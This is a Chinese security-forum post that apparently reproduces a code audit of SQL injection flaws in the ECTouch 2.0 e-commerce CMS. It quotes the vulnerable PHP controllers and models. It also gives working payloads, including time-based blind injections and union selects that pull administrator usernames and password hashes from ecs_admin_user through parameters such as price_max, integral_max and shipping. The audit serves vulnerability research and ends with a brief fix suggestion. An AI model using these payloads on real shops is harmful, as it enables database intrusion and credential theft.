資源共享吧|易語(yǔ)言論壇|逆向破解教程|輔助開(kāi)發(fā)教程|網(wǎng)絡(luò)安全教程|rigasin.com|我的開(kāi)發(fā)技術(shù)隨記

 找回密碼
 注冊(cè)成為正式會(huì)員
查看: 2090|回復(fù): 0
打印 上一主題 下一主題

[網(wǎng)絡(luò)安全/滲透測(cè)試] Etouch2.0漏洞之Etouch2.0 SQL注入

[復(fù)制鏈接]

184

主題

347

帖子

14

精華

資源共享吧豪華貴族SVIP

Rank: 9Rank: 9Rank: 9

資源幣
18816
積分
3920
貢獻(xiàn)
1368
在線(xiàn)時(shí)間
1084 小時(shí)
注冊(cè)時(shí)間
2015-4-18
最后登錄
2020-2-22

終身成就常駐居民幽默大師灌水大師原創(chuàng)先鋒精華會(huì)員資源共享吧女神宣傳大使愛(ài)心大使

跳轉(zhuǎn)到指定樓層
樓主
發(fā)表于 2019-5-20 15:17:41 | 只看該作者 |只看大圖 回帖獎(jiǎng)勵(lì) |倒序?yàn)g覽 |閱讀模式
Etouch2.0漏洞之Etouch2.0 SQL注入

0x1 前言
​拜讀了phpoop師傅的審計(jì)文章,心情激動(dòng)w分,急急忙忙寫(xiě)完手頭作業(yè),為了彌補(bǔ)上篇的遺憾,趁熱繼續(xù)認(rèn)真重讀了前臺(tái)代碼(之前沒(méi)認(rèn)真讀需要登陸的控制器),然后幸運(yùn)的在各個(gè)地方找到了幾個(gè)還算滿(mǎn)意的前臺(tái)注入。閱讀此文,強(qiáng)烈建議,食用開(kāi)篇作Ectouch2.0 分析解讀代碼審計(jì)流程,風(fēng)味更佳。
0x2 介紹下ECTOUCH的相關(guān)配置
​ 更多內(nèi)容可以參考上篇文章Ectouch2.0 分析解讀代碼審計(jì)流程,這里主要針對(duì)SQL談?wù)劇?/font>
  • 程序安裝默認(rèn)關(guān)閉debug模式,這樣子程序不會(huì)輸出mysql錯(cuò)誤
    /upload/mobile/include/base/drivers/db/EcMysql.class.php


//輸出錯(cuò)誤信息
public function error($message = '', $error = '', $errorno = '') {
    if (DEBUG) { //false

        $str = " {$message}<br>
                <b>SQL</b>: {$this->sql}<br>
                <b>錯(cuò)誤詳情</b>: {$error}<br>
                <b>錯(cuò)誤代碼</b>:{$errorno}<br>";
    } else {
        $str = "<b>出錯(cuò)</b>: $message<br>";
    }
    throw new Exception($str);
}


  • 所以一般考慮盲注,有回顯的注入,要不然過(guò)于雞肋了。

0x3 談?wù)勛约簩徲?jì)這個(gè)cms的誤區(qū)
當(dāng)時(shí)我看前臺(tái)的時(shí)候很容易就可以發(fā)現(xiàn)limit后面的注入,因?yàn)槲抑耙恢闭J(rèn)為limit后面只能使用報(bào)錯(cuò)注入,然后就沒(méi)怎么研究直接跳過(guò)了,導(dǎo)致第一次沒(méi)審計(jì)出前臺(tái)注入,后來(lái)我找了下資料,發(fā)現(xiàn)自己錯(cuò)了,limit后面也可以進(jìn)行盲注,不過(guò)參考下網(wǎng)上文章這種方法只是適用5.6.6的5.x系列, 為了嚴(yán)謹(jǐn)一點(diǎn),我本地測(cè)試了下,發(fā)現(xiàn)的確不行,但是沒(méi)有去深入了解底層原理,如果有師傅愿意談?wù)?實(shí)在是我的榮幸,所以說(shuō)limit后注入是有mysql的版本限制的,所以這里我只分享一個(gè)limit后的注入,其他點(diǎn)拋磚引玉。




參考文章:技術(shù)分享:https://www.freebuf.com/articles/web/57528.html

分享寫(xiě)tips:

1.可能有些跟我一樣的菜鳥(niǎo)還是不理解要去哪里找注入,這里談?wù)勎业目捶ā?br />

首先注入需要交互,也就是需要輸入,所以要找個(gè)接收參數(shù)的點(diǎn),這個(gè)時(shí)候直接去看控制器無(wú)疑是很好的選擇,因?yàn)檫@里是功能點(diǎn),需要用戶(hù)來(lái)交互,當(dāng)然不排除有其他的地方,ex。
0x5 前臺(tái) Flow consignee_list limit限制SQL注入
upload/mobile/include/apps/default/controllers/FlowController.class.php

*/
public function consignee_list() {
    if (IS_AJAX) {
        $start = $_POST ['last']; //可控
        $limit = $_POST ['amount']; //可控
        // 獲得用戶(hù)所有的收貨人信息
        $consignee_list = model('Users')->get_consignee_list($_SESSION['user_id'], 0, $limit, $start);//這里傳入
        ......................
        die(json_encode($sayList));
        exit();



可控參數(shù)如入了Usersmodel類(lèi)里面,跟進(jìn)函數(shù):
pload/mobile/include/apps/default/models/UsersModel.class.php

function get_consignee_list($user_id, $id = 0, $num = 10, $start = 0) {
    if ($id) {
        $where['user_id'] = $user_id;
        $where['address_id'] = $id;
        $this->table = 'user_address';
        return $this->find($where);
    } else {
        $sql = 'select ua.*,u.address_id as adds_id from ' . $this->pre . 'user_address as ua left join '. $this->pre . 'users as u on ua.address_id =u.address_id'. ' where ua.user_id = ' . $user_id . ' order by ua.address_id limit ' . $start . ', ' . $num; //很明顯沒(méi)有單引號(hào),直接拼接進(jìn)去造成了注入。

        return $this->query($sql);
    }
}

然后回頭看下調(diào)用需要滿(mǎn)足的條件:
if (IS_AJAX) {
下面介紹下尋找定義的技巧,(ps我以前第一次審計(jì)的時(shí)候看這東西很懵b,因?yàn)闆](méi)有弄過(guò)開(kāi)發(fā),木有經(jīng)驗(yàn)。)
IS_AJAX 這種很明顯就是宏定義,直接搜索define(‘IS_AJAX’



public function __construct() {
    $this->model = model('Base')->model;
    $this->cloud = Cloud::getInstance();
    // 定義當(dāng)前請(qǐng)求的系統(tǒng)常量
    define('NOW_TIME', $_SERVER ['REQUEST_TIME']);
    define('REQUEST_METHOD', $_SERVER ['REQUEST_METHOD']);
    define('IS_GET', REQUEST_METHOD == 'GET' ? true : false );
    define('IS_POST', REQUEST_METHOD == 'POST' ? true : false );
    define('IS_PUT', REQUEST_METHOD == 'PUT' ? true : false );
    define('IS_DELETE', REQUEST_METHOD == 'DELETE' ? true : false );
    define('IS_AJAX', (isset($_SERVER ['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER ['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest'));
    load_file(ROOT_PATH . 'data/certificate/appkey.php');
}

控制器基類(lèi)的構(gòu)造函數(shù)里面定義了:define(‘IS_AJAX’,);
所以利用方式就很簡(jiǎn)單了,兩個(gè)可控參數(shù)都進(jìn)去sql了,隨便取一個(gè)

跟進(jìn)下執(zhí)行知道:
$sql=select ua.*,u.address_id as adds_id from ecs_user_address as ua left join ecs_users as u on ua.address_id =u.address_id where ua.user_id = 0 order by ua.address_id limit 1,

然后直接進(jìn)入查詢(xún)
return $this->query($sql);

所以可以構(gòu)造payload:
last=1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)#關(guān)于其他limit點(diǎn),在介紹一些我的skills:

通過(guò)搜索正則 limit ‘ .(.*)$num、limit.:
Searching 48 files for "limit ' .(.*)$num" (regex)





這些重復(fù)的點(diǎn)再分析就很沒(méi)有意思了,但是limit后注入這個(gè)系統(tǒng)很多,你們可以跟著文章去學(xué)習(xí)找找有趣的點(diǎn)。
0x6 前臺(tái) Flow done $order [‘shipping_id’]半無(wú)限制SQL注入
&#8203; 這個(gè)點(diǎn)不像前面那種那么明顯可以看出來(lái),這可能就考驗(yàn)我們的耐心去讀代碼了,這里談?wù)勎业膕kills
&#8203; 直接正則匹配出sql的語(yǔ)句一條條的讀,然后回溯排除。
&#8203; 下面開(kāi)始回到漏洞分析上:
FlowController.class.php

    if (isset($is_real_good)) {
        $res = $this->model->table('shipping')->field('shipping_id')->where("shipping_id=" . $order ['shipping_id'] . " AND enabled =1")->getOne();
        if (!$res) {
            show_message(L('flow_no_shipping'));
        }
    }



這里可以看到以字符串形式變量拼接到了where方法里面(字符串拼接及其容易導(dǎo)致SQL注入)
那么我們可以直接回溯前文看下$order是否可控:
lines 1094


    $order = array(
        'shipping_id' => I('post.shipping'),//這里可控
        ......................
    );



然后我們看下需要滿(mǎn)足什么條件才能執(zhí)行到漏洞點(diǎn)處:
簡(jiǎn)單例子分析下:

public function done() {
    /* 取得購(gòu)物類(lèi)型 */
    $flow_type = isset($_SESSION ['flow_type']) ? intval($_SESSION ['flow_type']) : CART_GENERAL_GOODS;
    /* 檢查購(gòu)物車(chē)中是否有商品 */
    $condition = " session_id = '" . SESS_ID . "' " . "AND parent_id = 0 AND is_gift = 0 AND rec_type = '$flow_type'";
    $count = $this->model->table('cart')->field('COUNT(*)')->where($condition)->getOne();
    if ($count == 0) {
        show_message(L('no_goods_in_cart'), '', '', 'warning'); //處理下這里
    }
    /* 如果使用庫(kù)存,且下訂單時(shí)減庫(kù)存,則減少庫(kù)存 */
    if (C('use_storage') == '1' && C('stock_dec_time') == SDT_PLACE) {
        $cart_goods_stock = model('Order')->get_cart_goods();
        $_cart_goods_stock = array();
        foreach ($cart_goods_stock ['goods_list'] as $value) {
            $_cart_goods_stock [$value ['rec_id']] = $value ['goods_number'];
        }
        model('Flow')->flow_cart_stock($_cart_goods_stock);
        unset($cart_goods_stock, $_cart_goods_stock);
    }
    // 檢查用戶(hù)是否已經(jīng)登錄 如果用戶(hù)已經(jīng)登錄了則檢查是否有默認(rèn)的收貨地址 如果沒(méi)有登錄則跳轉(zhuǎn)到登錄和注冊(cè)頁(yè)面
    if (empty($_SESSION ['direct_shopping']) && $_SESSION ['user_id'] == 0) {
        /* 用戶(hù)沒(méi)有登錄且沒(méi)有選定匿名購(gòu)物,轉(zhuǎn)向到登錄頁(yè)面 */
        ecs_header("Location: " . url('user/login') . "n"); //這里要處理
    }


主要是處理下

這些跳轉(zhuǎn)停止代碼執(zhí)行的語(yǔ)句

ecs_header("Location: " . url('user/login') . "n");
需要用戶(hù)登陸

if (empty($_SESSION ['direct_shopping']) && $_SESSION ['user_id'] == 0) {
后面一些判斷條件依次滿(mǎn)足就行了,這些都很簡(jiǎn)單,讀讀代碼,就行了。

你也可以看我怎么利用然后返回去分析代碼:

http://127.0.0.1:8888/ecshop/upl ... p;c=flow&a=done
直接訪問(wèn)提示購(gòu)物車(chē)沒(méi)有商品,那就隨便注冊(cè)個(gè)用戶(hù)然后選個(gè)實(shí)物商品進(jìn)去購(gòu)物車(chē)

然后 http://127.0.0.1:8888/ecshop/upl ... p;c=flow&a=done

提示填收貨地址那么自己填寫(xiě)收貨地址

這個(gè)時(shí)候就滿(mǎn)足條件了:

post:shipping=1 and sleep(5)%23



其實(shí)這個(gè)點(diǎn)還是很有意思的,當(dāng)時(shí)我在想能不能搞個(gè)回顯注入

    if (isset($is_real_good)) {
        $res = $this->model->table('shipping')->field('shipping_id')->where("shipping_id=" . $order ['shipping_id'] . " AND enabled =1")->getOne();
        if (!$res) { //這里返回了$res
            show_message(L('flow_no_shipping'));
        }
    }
通過(guò)debug跟進(jìn)到sql執(zhí)行流程可以得到執(zhí)行的語(yǔ)句是:

$sql=SELECT shipping_id FROM ecs_shipping WHERE shipping_id=1 and sleep(1)%23 AND enabled =1 LIMIT 1
一列,構(gòu)造下payload:

post:shipping=-1 union select user_name from ecs_admin_user%23
那么得到的$res 就是管理員的用戶(hù)名了,后面我跟了下(文件內(nèi)搜索$res) 沒(méi)有發(fā)現(xiàn)有輸出

按照代碼邏輯命名來(lái)講,這個(gè)返回值相當(dāng)于布爾判斷吧,應(yīng)該是沒(méi)有輸出的,僅僅起到判斷的作用,所以這個(gè)前臺(tái)漏洞只能布爾盲注了,這也是我說(shuō)這個(gè)漏洞叫半限制SQL注入的原因。

0x7 前臺(tái) Category index 多個(gè)參數(shù)半限制SQL注入
&#8203; 這個(gè)點(diǎn)有點(diǎn)遺憾,但是卻引起了我的諸多思考。

&#8203; 接下來(lái)的分析就不再花大筆墨去講基礎(chǔ)操作,代碼分析,希望你能仔細(xì)閱讀我前面的分析,然后自己去讀代碼。

upload/mobile/include/apps/default/controllers/CategoryController.class.php

    public function index()
    {
        $this->parameter(); //跟進(jìn)這里
    private function parameter()
    {
        // 如果分類(lèi)ID為0,則返回總分類(lèi)頁(yè)
        if (empty($this->cat_id)) {
            $this->cat_id = 0;
        }
        // 獲得分類(lèi)的相關(guān)信息
        $cat = model('Category')->get_cat_info($this->cat_id);
        $this->keywords();
        $this->assign('show_asynclist', C('show_asynclist'));
        // 初始化分頁(yè)信息
        $page_size = C('page_size');
        $brand = I('request.brand', 0, 'intval');
        $price_max = I('request.price_max'); //這里外部獲取可控變量
        $price_min = I('request.price_min'); //這里外部獲取可控變量
        $filter_attr = I('request.filter_attr');
        $this->size = intval($page_size) > 0 ? intval($page_size) : 10;
        $this->page = I('request.page') > 0 ? intval(I('request.page')) : 1;
        $this->type = I('request.type');
        $this->brand = $brand > 0 ? $brand : 0;
        $this->price_max = $price_max > 0 ? $price_max : 0; //利用php弱類(lèi)型繞過(guò)
        $this->price_min = $price_min > 0 ? $price_min : 0;
這里 $price_max = I(‘request.price_max’);->$this->price_max = $price_max > 0 ? $price_max : 0; //利用php弱類(lèi)型繞過(guò)

這個(gè)繞過(guò)很經(jīng)典呀 1.0union select == 1 也就是說(shuō)

$this->price_max 、$this->price_min變量可以被控制

繼續(xù)跟進(jìn)代碼,發(fā)現(xiàn):

Lines 75

        $count = model('Category')->category_get_count($this->children, $this->brand, $this->type, $this->price_min, $this->price_max, $this->ext, $this->keywords);//可控變量
        $goodslist = $this->category_get_goods();
        $this->assign('goods_list', $goodslist);
        .....................
        $this->assign('pager', $this->pageShow($count));//注冊(cè)返回結(jié)果到模版
當(dāng)時(shí)我很開(kāi)心啊,終于來(lái)個(gè)無(wú)限制回顯的SQL注入,結(jié)果分析下去無(wú)果,但是我感覺(jué)很有意思。

我們繼續(xù)跟進(jìn)model類(lèi):

function category_get_count($children, $brand, $type, $min, $max, $ext, $keyword)
    {

        $where = "g.is_on_sale = 1 AND g.is_alone_sale = 1 AND " . "g.is_delete = 0 ";
        if ($keyword != '') {
            $where .= " AND (( 1 " . $keyword . " ) ) ";
        } else {
            $where .= " AND ($children OR " . model('Goods')->get_extension_goods($children) . ') ';
        }
        ..............
        if ($brand > 0) {
            $where .= "AND g.brand_id = $brand ";//
        }
        if ($min > 0) {
            $where .= " AND g.shop_price >= $min "; //直接拼接變量
        }
        if ($max > 0) { //這里可控
            $where .= " AND g.shop_price <= $max"; //直接拼接變量
        }


        $sql = 'SELECT COUNT(*) as count FROM ' . $this->pre . 'goods AS g ' . ' LEFT JOIN ' . $this->pre . 'touch_goods AS xl ' . ' ON g.goods_id=xl.goods_id ' . ' LEFT JOIN ' . $this->pre . 'member_price AS mp ' . "ON mp.goods_id = g.goods_id AND mp.user_rank = '$_SESSION[user_rank]' " . "WHERE $where $ext "; //直接拼接變量
        $res = $this->row($sql);//進(jìn)入查詢(xún)
        return $res['count'];
    }
“WHERE $where $ext “; 從這里可以看到100%注入了,那么構(gòu)造下回顯注入羅:

debug出SQL語(yǔ)句,本地MYSQL執(zhí)行:

SELECT COUNT(*) as count FROM ecs_goods AS g  LEFT JOIN ecs_touch_goods AS xl  ON g.goods_id=xl.goods_id  LEFT JOIN ecs_member_price AS mp ON mp.goods_id = g.goods_id AND mp.user_rank = '0' WHERE g.is_on_sale = 1 AND g.is_alone_sale = 1 AND g.is_delete = 0  AND (g.cat_id  IN ('0')  OR g.goods_id IN ('') )  AND g.shop_price <= 1



count的話(huà)總是會(huì)有返回值的,之前那個(gè)控制id=-1可以令結(jié)果集為空,然后聯(lián)合注入,這個(gè)卻不行,

騷操作,但是我們可以這樣來(lái)繞過(guò):

AND g.shop_price <= 1.0union select password from ecs_admin_user;


然后怎么讓他升到第一列,利用order by //這種情況只適合兩列或者有最大值的情況。

AND g.shop_price <= 1.0union select password from ecs_admin_user order by count desc limit 1;
這樣就可以返回管理員的密碼了,哈哈我很開(kāi)心呀,結(jié)果發(fā)現(xiàn),頁(yè)面沒(méi)有返回,直接跳轉(zhuǎn)到mysql錯(cuò)誤那里去了,

經(jīng)過(guò)分析在下面一行代碼又重復(fù)調(diào)用了那個(gè)變量。

輸入payload:

http://127.0.0.1:8888/ecshop/upl ... ;price_max=1.0union select password from ecs_admin_user order by count desc limit 1%23
跟進(jìn)下程序執(zhí)行:

$count = model('Category')->category_get_count($this->children, $this->brand, $this->type, $this->price_min, $this->price_max, $this->ext, $this->keywords);
執(zhí)行完這個(gè)語(yǔ)句后可以看到:


是正常的,繼續(xù)走,下一句發(fā)現(xiàn)程序mysql錯(cuò)誤,停止執(zhí)行,那么跟進(jìn)看下原因

private function category_get_goods()
    {
    ................................
        }
        if ($this->brand > 0) {
            $where .= "AND g.brand_id=$this->brand ";
        }
        if ($this->price_min > 0) {
            $where .= " AND g.shop_price >= $this->price_min ";
        }
        if ($this->price_max > 0) {
            $where .= " AND g.shop_price <= $this->price_max "; //再次拼接這個(gè)變量
        }

        $sql = 'SELECT g.goods_id, g.goods_name, g.goods_name_style, g.market_price, g.is_new, g.is_best, g.is_hot, g.shop_price AS org_price, g.last_update,' . "IFNULL(mp.user_price, g.shop_price * '$_SESSION[discount]') AS shop_price, g.promote_price, g.goods_type, g.goods_number, " .
            'g.promote_start_date, g.promote_end_date, g.goods_brief, g.goods_thumb , g.goods_img, xl.sales_volume ' . 'FROM ' . $this->model->pre . 'goods AS g ' . ' LEFT JOIN ' . $this->model->pre . 'touch_goods AS xl ' . ' ON g.goods_id=xl.goods_id ' . ' LEFT JOIN ' . $this->model->pre . 'member_price AS mp ' . "ON mp.goods_id = g.goods_id AND mp.user_rank = '$_SESSION[user_rank]' " . "WHERE $where $this->ext ORDER BY $sort $this->order LIMIT $start , $this->size";
        $res = $this->model->query($sql);
這里可以看出來(lái)WHERE $where $this->ext 這里又拼接進(jìn)去查詢(xún)了,然而這里有11列,那么查詢(xún)肯定報(bào)錯(cuò)(前面是1列),這里我對(duì)比了下兩個(gè)函數(shù)的代碼,發(fā)現(xiàn)他們沒(méi)有任何差別,所以這里很遺憾沒(méi)辦法進(jìn)行繞過(guò)。

但是這里我衍生下攻擊思路:

比如第二個(gè)函數(shù)里面有第二個(gè)參數(shù)可控的話(huà),并且在前面,而第一個(gè)函數(shù)沒(méi)有的話(huà),那么我們控制第二個(gè)函數(shù)的那個(gè)參數(shù),去注釋掉我們第一個(gè)函數(shù)的第一個(gè)參數(shù),不讓mysql出錯(cuò),這樣就可以達(dá)到回顯注入了。

這個(gè)點(diǎn)可以說(shuō)是我感覺(jué)比較好玩的點(diǎn)了。

總結(jié)來(lái)說(shuō)下:

這個(gè)點(diǎn)依然是半限制的盲注,時(shí)間盲注是通殺的,但是可以考慮布爾盲注,自己尋找下差異構(gòu)造就行了。

0x8 前臺(tái)FLOW cart_label_count $goods_id 半限制SQL注入
public function cart_label_count(){
    $goods_id  = I('goods_id',''); //沒(méi)有intval處理
    $parent_id  = I('parent_id','');
    if($parent_id ){
        $shop_price = $this->model->table('goods')->where(array('goods_id'=>$parent_id))->field('shop_price')->getOne();
    }
    if($goods_id) {
        $sql = "select g.shop_price ,gg.goods_price from " . $this->model->pre ."group_goods as gg LEFT JOIN " . $this->model->pre . "goods as g on gg.goods_id = g.goods_id " . "where gg.goods_id in ($goods_id) and gg.parent_id = $parent_id "; //拼接
        $count = $this->model->query($sql);
    }
    $num=0;
    if(count($count)>0){
        foreach($count as $key){
            $count_price += floatval($key['goods_price']);
            $num ++;
        }
    }else{
        $count_price = '0.00';
    }
    if($shop_price){
        $count_price += floatval($shop_price);
        $num += 1;
    }
    $result['content'] = price_format($count_price);
    $result['cart_number'] = $num;
    die(json_encode($result));
where gg.goods_id in ($goods_id) 這里直接拼接了進(jìn)去導(dǎo)致了注入

if(count($count)>0){
        foreach($count as $key){
            $count_price += floatval($key['goods_price']);
            $num ++;
        }
    }else{
        $count_price = '0.00';
    }
這里做了個(gè)強(qiáng)制轉(zhuǎn)換,導(dǎo)致不能把結(jié)果帶出來(lái),可以考慮布爾盲注

0x9 前臺(tái) User $rec_id 多處注入
0x9.1 del_attention() 半限制SQL注入
    public function del_attention() {
        $rec_id = I('get.rec_id', 0); //直接獲取
        if ($rec_id) {
            $this->model->table('collect_goods')->data('is_attention = 0')->where('rec_id = ' . $rec_id . ' and user_id = ' . $this->user_id)->update();
        }
        $this->redirect(url('collection_list'));
    }
0x9.2 add_attention() 半限制SQL注入
public function add_attention() {
    $rec_id = I('get.rec_id', 0); //直接獲取
    if ($rec_id) {
        $this->model->table('collect_goods')->data('is_attention = 1')->where('rec_id = ' . $rec_id . ' and user_id = ' . $this->user_id)->update();
    }
    $this->redirect(url('collection_list'));
}
0x9.3 aftermarket_done 無(wú)限制SQL注入
public function aftermarket_done() {
        /* 判斷是否重復(fù)提交申請(qǐng)退換貨 */
        $rec_id = empty($_REQUEST['rec_id']) ? '' : $_REQUEST['rec_id']; //控制輸入
     ....................................
        if ($rec_id) {
            $num = $this->model->table('order_return')
                    ->field('COUNT(*)')
                    ->where(array('rec_id' => $rec_id))
                    ->getOne();
        } else {
            show_message(L('aftermarket_apply_error'), '', '', 'info', true);
        }
        $goods = model('Order')->order_goods_info($rec_id); /* 訂單商品 */ //這里也是注入
        $claim = $this->model->table('service_type')->field('service_name,service_type')->where('service_id = ' . intval(I('post.service_id')))->find(); /* 查詢(xún)服務(wù)類(lèi)型 */
        $reason = $this->model->table('return_cause')->field('cause_name')->where('cause_id = ' . intval(I('post.reason')))->find(); /* 退換貨原因 */
        $order = model('Users')->get_order_detail($order_id, $this->user_id); /* 訂單詳情 */
        if (($num > 0)) {
            /* 已經(jīng)添加 查詢(xún)服務(wù)訂單 */
            $order_return = $this->model->table('order_return')
                    ->field('ret_id, rec_id, add_time, service_sn, return_status, should_return,is_check,service_id')
                    ->where('rec_id = ' . $rec_id) //拼接變量
                    ->find(); //where注入
            $ret_id = $order_return['ret_id'];
        } else {
$goods = model('Order')->order_goods_info($rec_id); /* 訂單商品 */ //這里也是注入

            $order_return = $this->model->table('order_return')
                    ->field('ret_id, rec_id, add_time, service_sn, return_status, should_return,is_check,service_id')
                    ->where('rec_id = ' . $rec_id) //拼接變量
                    ->find(); //where注入
            $ret_id = $order_return['ret_id'];
這個(gè)注入需要條件比較多,自己跟下代碼就好了。

你們可以繼續(xù)分析下:

public function check_aftermarket($rec_id) //OrderModel.class.php:

function order_goods_info($rec_id)//OrderModel.class.php

function aftermarket_goods($rec_id) //OrderModel.class.php

function get_cert_img($rec_id)//OrderModel.class.php

public function check_aftermarket($rec_id)//UsersModel.class.php
里面都是直接拼接,可以全局搜索下調(diào)用地方,如果沒(méi)有intval那么就是注入點(diǎn)了,我當(dāng)時(shí)看了下沒(méi)什么發(fā)現(xiàn)

0x10 (0day?)前臺(tái)多處無(wú)條件無(wú)限制完美SQL注入
這個(gè)無(wú)限制注入的挖掘過(guò)程,還是耐心吧,找調(diào)用,找返回。

0x10.1 Exchange asynclist_list $integral_max $integral_min無(wú)限制注入
直接看payload:

http://127.0.0.1:8888/ecshop/upl ... tegral_max=1.0union select 1,password,3,password,5,user_name,7,8,9,10,11 from ecs_admin_user order by goods_id asc%23



分析一波:
upload/mobile/include/apps/default/controllers/ExchangeController.class.php
public function asynclist_list() {
    $this->parameter();//跟進(jìn)這里
    $asyn_last = intval(I('post.last')) + 1;
    $this->page = I('post.page');
    $list = model('Exchange')->exchange_get_goods($this->children, $this->integral_min, $this->integral_max, $this->ext, $this->size,
    $this->page, $this->sort, $this->order);
    die(json_encode(array('list' => $list))); //這個(gè)die好東西,直接輸出結(jié)果了
    exit();
}這里需要跟進(jìn)二個(gè)函數(shù):
1.$this->parameter(); 作用獲取:
$this->children, $this->integral_min, $this->integral_max
2.model(‘Exchange’)->exchange_get_goods 作用拼接造成sql
分析1
private function parameter() {
    // 如果分類(lèi)ID為0,則返回總分類(lèi)頁(yè)
    $page_size = C('page_size');
    $this->size = intval($page_size) > 0 ? intval($page_size) : 10;
    $this->page = I('request.page') ? intval(I('request.page')) : 1;
    $this->ext = '';
    $this->cat_id = I('request.cat_id');
    $this->integral_max = I('request.integral_max');//獲取
    $this->integral_min = I('request.integral_min');//分析2
function exchange_get_goods($children, $min, $max, $ext, $size, $page, $sort, $order) {
        $display = $GLOBALS['display'];
        $where = "eg.is_exchange = 1 AND g.is_delete = 0 AND " .
                "($children OR " . model('Goods')->get_extension_goods($children) . ')';

        if ($min > 0) {
            $where .= " AND eg.exchange_integral >= $min ";
        }

        if ($max > 0) {
            $where .= " AND eg.exchange_integral <= $max ";//直接拼接導(dǎo)致注入
        }

        /* 獲得商品列表 */
        $start = ($page - 1) * $size;
        $sort = $sort == 'sales_volume' ? 'xl.sales_volume' : $sort;
        $sql = 'SELECT g.goods_id, g.goods_name, g.market_price, g.goods_name_style,g.click_count, eg.exchange_integral, ' .
                'g.goods_type, g.goods_brief, g.goods_thumb , g.goods_img, eg.is_hot ' .
                'FROM ' . $this->pre . 'exchange_goods AS eg LEFT JOIN  ' . $this->pre . 'goods AS g ' .
                'ON  eg.goods_id = g.goods_id ' . ' LEFT JOIN ' . $this->pre . 't



public function asynclist()
{
    $this->parameter();
    $this->assign('show_marketprice', C('show_marketprice'));
    $asyn_last = intval(I('post.last')) + 1;
    $this->size = I('post.amount');
    $this->page = ($asyn_last > 0) ? ceil($asyn_last / $this->size) : 1;
    $goodslist = $this->category_get_goods(); //注入
    foreach ($goodslist as $key => $goods) {
        $this->assign('goods', $goods);
        $sayList[] = array(
            'single_item' => ECTouch::view()->fetch('library/asynclist_info.lbi')
        );
    }
    die(json_encode($sayList));
    exit();
}0x10.3 category async_list $price_max無(wú)限制注入
Payload:
http://127.0.0.1:8888/ecshop/upl ... ;price_max=1.0union select 1,user_name,3,4,5,password,7,8,9,10,11,12,13,14,15,16,17,18,19 from ecs_admin_user order by goods_id asc limit 1%23



public function async_list()
    {
        $this->parameter();
        $this->assign('show_marketprice', C('show_marketprice'));
        $this->page = I('post.page');
        $goodslist = $this->category_get_goods();
        die(json_encode(array('list' => $goodslist)));
        exit();
    }
還有好幾處我就不想繼續(xù)去分析了,你們可以繼續(xù)去尋找看看,尋找方法看我總結(jié)搜索即可。

總結(jié)下這幾個(gè)注入:

原因1max $min這些相關(guān)的值沒(méi)有intval處理,可以利用php弱類(lèi)型繞過(guò),其他點(diǎn)用intval處理了。神奇+1

原因2:直接拼接變量

(1)ActivityModel.class.php

function category_get_count($children, $brand, $goods, $min, $max, $ext)

function category_get_goods

(2CategoryModel.class.php

function category_get_count

function get_category_recommend_goods

(3)ExchangeModel.class.php

function exchange_get_goods

function get_exchange_goods_count
修復(fù)建議:可控變量intval處理

0x11 代碼審計(jì)SQL注入總結(jié)
SQL注入沒(méi)什么總結(jié)的,尋找可控,跟蹤變量,sql注入三部曲。

但是這次審計(jì)改變了我很多看法,以前我總是覺(jué)得,有了全局過(guò)濾,那么注入應(yīng)該比較少了,所以我第一次就是抱著這樣消極的想法,所以沒(méi)審計(jì)出漏洞,但是后來(lái)我聽(tīng)說(shuō)phpoop師傅也審計(jì)過(guò)這個(gè)cms的前臺(tái)注入,我一下子干勁就上來(lái)了,認(rèn)真讀了代碼,果然收獲頗豐。

最后介紹下ECTOUCH2.0還可尋找注入漏洞的點(diǎn),關(guān)注下處理變量的函數(shù)。

  154:         $json = new EcsJson;
  155:         $goods = $json->decode($_POST ['goods']);
比如這些,我當(dāng)時(shí)簡(jiǎn)單讀了下

    function decode($text, $type = 0) { // 榛樿?type=0榪斿洖obj,type=1榪斿洖array
        if (empty($text)) {
            return '';
        } elseif (!is_string($text)) {
            return false;
        }

        if (EC_CHARSET === 'utf-8' && function_exists('json_decode')) {
            return addslashes_deep_obj(json_decode(stripslashes($text), $type));
        }

        $this->at = 0;
        $this->ch = '';
        $this->text = strtr(stripslashes($text), array(
            "r" => '', "n" => '', "t" => '', "b" => '',
            "x00" => '', "x01" => '', "x02" => '', "x03" => '',
            "x04" => '', "x05" => '', "x06" => '', "x07" => '',
            "x08" => '', "x0b" => '', "x0c" => '', "x0e" => '',
            "x0f" => '', "x10" => '', "x11" => '', "x12" => '',
            "x13" => '', "x14" => '', "x15" => '', "x16" => '',
            "x17" => '', "x18" => '', "x19" => '', "x1a" => '',
            "x1b" => '', "x1c" => '', "x1d" => '', "x1e" => '',
            "x1f" => ''
        ));

        $this->next();
        $return = $this->val();

        $result = empty($type) ? $return : $this->object_to_array($return);

        return addslashes_deep_obj($result);
    }
也是做了過(guò)濾,可以考慮下組合之類(lèi)的,這可能是我進(jìn)階代碼審計(jì)需要學(xué)習(xí)的了。









回復(fù)

使用道具 舉報(bào)

 點(diǎn)擊右側(cè)快捷回復(fù)  

本版積分規(guī)則

小黑屋|資源共享吧 ( 瓊ICP備2023000410號(hào)-1 )

GMT+8, 2024-12-21 23:58 , Processed in 0.058721 second(s), 15 queries , MemCached On.

Powered by Discuz! X3.4 Licensed

Copyright © 2001-2021, Tencent Cloud.

快速回復(fù) 返回頂部 返回列表